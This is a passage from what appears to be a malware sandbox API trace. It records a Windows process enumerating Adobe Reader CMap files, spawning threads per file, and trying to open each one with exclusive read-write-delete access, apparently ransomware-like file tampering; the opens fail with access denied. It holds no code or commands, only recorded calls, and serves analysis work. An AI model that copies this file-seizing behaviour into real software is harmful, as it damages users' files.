ftLastAccessTime.dwLowDateTime=0x7fb96500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3df2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Korea1-KSCms-UHC", cAlternateFileName="ADF15E~1")) returned 1 [0175.664] wcscmp (_String1="Adobe-Korea1-KSCms-UHC", _String2=".") returned 1 [0175.664] wcscmp (_String1="Adobe-Korea1-KSCms-UHC", _String2="..") returned 1 [0175.664] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x2050c660 [0175.664] wcscpy (in: _Dest=0x2050c660, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0175.664] wcscat (in: _Dest=0x2050c660, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0175.664] wcscat (in: _Dest=0x2050c660, _Source="Adobe-Korea1-KSCms-UHC" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-KSCms-UHC") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-KSCms-UHC" [0175.665] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050c660, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c7c [0175.665] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbbc660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2cf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Korea1-KSCpc-EUC", cAlternateFileName="AD662F~1")) returned 1 [0175.665] wcscmp (_String1="Adobe-Korea1-KSCpc-EUC", _String2=".") returned 1 [0175.665] wcscmp (_String1="Adobe-Korea1-KSCpc-EUC", _String2="..") returned 1 [0175.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x2050ba00 [0175.665] wcscpy (in: _Dest=0x2050ba00, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0175.665] wcscat (in: _Dest=0x2050ba00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0175.666] wcscat (in: _Dest=0x2050ba00, _Source="Adobe-Korea1-KSCpc-EUC" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-KSCpc-EUC") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-KSCpc-EUC" [0175.666] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050ba00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c80 [0175.666] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbbc660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x25bda, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Korea1-UCS2", cAlternateFileName="AD8F7C~1")) returned 1 [0175.666] wcscmp (_String1="Adobe-Korea1-UCS2", _String2=".") returned 1 [0175.666] wcscmp (_String1="Adobe-Korea1-UCS2", _String2="..") returned 1 [0175.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x42c313f0 [0175.666] wcscpy (in: _Dest=0x42c313f0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0175.667] wcscat (in: _Dest=0x42c313f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0175.667] wcscat (in: _Dest=0x42c313f0, _Source="Adobe-Korea1-UCS2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-UCS2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-UCS2" [0175.667] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42c313f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x147c [0175.667] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f11, dwReserved0=0x0, dwReserved1=0x0, cFileName="B5pc-H", cAlternateFileName="")) returned 1 [0175.667] wcscmp (_String1="B5pc-H", _String2=".") returned 1 [0175.667] wcscmp (_String1="B5pc-H", _String2="..") returned 1 [0175.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1ced3220 [0175.667] wcscpy (in: _Dest=0x1ced3220, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0175.668] wcscat (in: _Dest=0x1ced3220, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0175.668] wcscat (in: _Dest=0x1ced3220, _Source="B5pc-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\B5pc-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\B5pc-H" [0175.668] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ced3220, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c84 [0175.668] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="B5pc-UCS2", cAlternateFileName="B5PC-U~1")) returned 1 [0175.668] wcscmp (_String1="B5pc-UCS2", _String2=".") returned 1 [0175.668] wcscmp (_String1="B5pc-UCS2", _String2="..") returned 1 [0175.668] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1ced32b0 [0175.669] wcscpy (in: _Dest=0x1ced32b0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0175.669] wcscat (in: _Dest=0x1ced32b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0175.669] wcscat (in: _Dest=0x1ced32b0, _Source="B5pc-UCS2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\B5pc-UCS2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\B5pc-UCS2" [0175.669] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ced32b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c88 [0175.669] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x457be, dwReserved0=0x0, dwReserved1=0x0, cFileName="B5pc-UCS2C", cAlternateFileName="B5PC-U~2")) returned 1 [0175.669] wcscmp (_String1="B5pc-UCS2C", _String2=".") returned 1 [0175.669] wcscmp (_String1="B5pc-UCS2C", _String2="..") returned 1 [0175.670] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x1ced3460 [0175.670] wcscpy (in: _Dest=0x1ced3460, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0175.670] wcscat (in: _Dest=0x1ced3460, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0175.670] wcscat (in: _Dest=0x1ced3460, _Source="B5pc-UCS2C" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\B5pc-UCS2C") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\B5pc-UCS2C" [0175.670] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\B5pc-UCS2C" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\b5pc-ucs2c")) returned 0x20 [0175.671] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\B5pc-UCS2C", dwFileAttributes=0x20) returned 0 [0175.671] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\B5pc-UCS2C" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\b5pc-ucs2c"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.671] GetLastError () returned 0x5 [0175.671] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\B5pc-UCS2C", dwFileAttributes=0x20) returned 0 [0175.672] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3460) returned 1 [0175.672] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc17, dwReserved0=0x0, dwReserved1=0x0, cFileName="B5pc-V", cAlternateFileName="")) returned 1 [0175.672] wcscmp (_String1="B5pc-V", _String2=".") returned 1 [0175.672] wcscmp (_String1="B5pc-V", _String2="..") returned 1 [0175.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1ced3460 [0175.672] wcscpy (in: _Dest=0x1ced3460, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0175.672] wcscat (in: _Dest=0x1ced3460, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0175.672] wcscat (in: _Dest=0x1ced3460, _Source="B5pc-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\B5pc-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\B5pc-V" [0175.673] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\B5pc-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\b5pc-v")) returned 0x20 [0175.673] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\B5pc-V", dwFileAttributes=0x20) returned 0 [0175.673] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\B5pc-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\b5pc-v"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.673] GetLastError () returned 0x5 [0175.673] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\B5pc-V", dwFileAttributes=0x20) returned 0 [0175.674] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3460) returned 1 [0175.674] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3205, dwReserved0=0x0, dwReserved1=0x0, cFileName="CNS-EUC-H", cAlternateFileName="CNS-EU~1")) returned 1 [0175.674] wcscmp (_String1="CNS-EUC-H", _String2=".") returned 1 [0175.674] wcscmp (_String1="CNS-EUC-H", _String2="..") returned 1 [0175.674] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1ced3460 [0175.674] wcscpy (in: _Dest=0x1ced3460, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0175.674] wcscat (in: _Dest=0x1ced3460, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0175.674] wcscat (in: _Dest=0x1ced3460, _Source="CNS-EUC-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\CNS-EUC-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\CNS-EUC-H" [0175.674] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\CNS-EUC-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\cns-euc-h")) returned 0x20 [0175.674] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\CNS-EUC-H", dwFileAttributes=0x20) returned 0 [0175.675] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\CNS-EUC-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\cns-euc-h"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.675] GetLastError () returned 0x5 [0175.675] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\CNS-EUC-H", dwFileAttributes=0x20) returned 0 [0175.675] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3460) returned 1 [0175.675] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x363d, dwReserved0=0x0, dwReserved1=0x0, cFileName="CNS-EUC-V", cAlternateFileName="CNS-EU~2")) returned 1 [0175.675] wcscmp (_String1="CNS-EUC-V", _String2=".") returned 1 [0175.675] wcscmp (_String1="CNS-EUC-V", _String2="..") returned 1 [0175.675] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1ced3460 [0175.676] wcscpy (in: _Dest=0x1ced3460, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0175.676] wcscat (in: _Dest=0x1ced3460, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0175.676] wcscat (in: _Dest=0x1ced3460, _Source="CNS-EUC-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\CNS-EUC-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\CNS-EUC-V" [0175.676] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\CNS-EUC-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\cns-euc-v")) returned 0x20 [0175.676] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\CNS-EUC-V", dwFileAttributes=0x20) returned 0 [0175.676] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\CNS-EUC-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\cns-euc-v"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.676] GetLastError () returned 0x5 [0175.676] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\CNS-EUC-V", dwFileAttributes=0x20) returned 0 [0175.677] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3460) returned 1 [0175.677] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1fb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="ETen-B5-H", cAlternateFileName="ETEN-B~1")) returned 1 [0175.678] wcscmp (_String1="ETen-B5-H", _String2=".") returned 1 [0175.678] wcscmp (_String1="ETen-B5-H", _String2="..") returned 1 [0175.678] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1ced3460 [0175.679] wcscpy (in: _Dest=0x1ced3460, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0175.679] wcscat (in: _Dest=0x1ced3460, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0175.679] wcscat (in: _Dest=0x1ced3460, _Source="ETen-B5-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETen-B5-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETen-B5-H" [0175.679] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETen-B5-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\eten-b5-h")) returned 0x20 [0175.680] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETen-B5-H", dwFileAttributes=0x20) returned 0 [0175.680] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETen-B5-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\eten-b5-h"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.680] GetLastError () returned 0x5 [0175.680] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETen-B5-H", dwFileAttributes=0x20) returned 0 [0175.680] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3460) returned 1 [0175.681] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x466cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ETen-B5-UCS2", cAlternateFileName="ETEN-B~2")) returned 1 [0175.681] wcscmp (_String1="ETen-B5-UCS2", _String2=".") returned 1 [0175.681] wcscmp (_String1="ETen-B5-UCS2", _String2="..") returned 1 [0175.681] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1ced3460 [0175.681] wcscpy (in: _Dest=0x1ced3460, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0175.681] wcscat (in: _Dest=0x1ced3460, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0175.681] wcscat (in: _Dest=0x1ced3460, _Source="ETen-B5-UCS2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETen-B5-UCS2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETen-B5-UCS2" [0175.681] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETen-B5-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\eten-b5-ucs2")) returned 0x20 [0175.681] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETen-B5-UCS2", dwFileAttributes=0x20) returned 0 [0175.681] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETen-B5-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\eten-b5-ucs2"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.682] GetLastError () returned 0x5 [0175.682] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETen-B5-UCS2", dwFileAttributes=0x20) returned 0 [0175.682] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3460) returned 1 [0175.682] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ETen-B5-V", cAlternateFileName="ETEN-B~3")) returned 1 [0175.682] wcscmp (_String1="ETen-B5-V", _String2=".") returned 1 [0175.682] wcscmp (_String1="ETen-B5-V", _String2="..") returned 1 [0175.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1ced3460 [0175.682] wcscpy (in: _Dest=0x1ced3460, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0175.682] wcscat (in: _Dest=0x1ced3460, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0175.682] wcscat (in: _Dest=0x1ced3460, _Source="ETen-B5-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETen-B5-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETen-B5-V" [0175.683] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETen-B5-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\eten-b5-v")) returned 0x20 [0175.683] SetFileAttributesW (lpFileName="C:\\Program Files 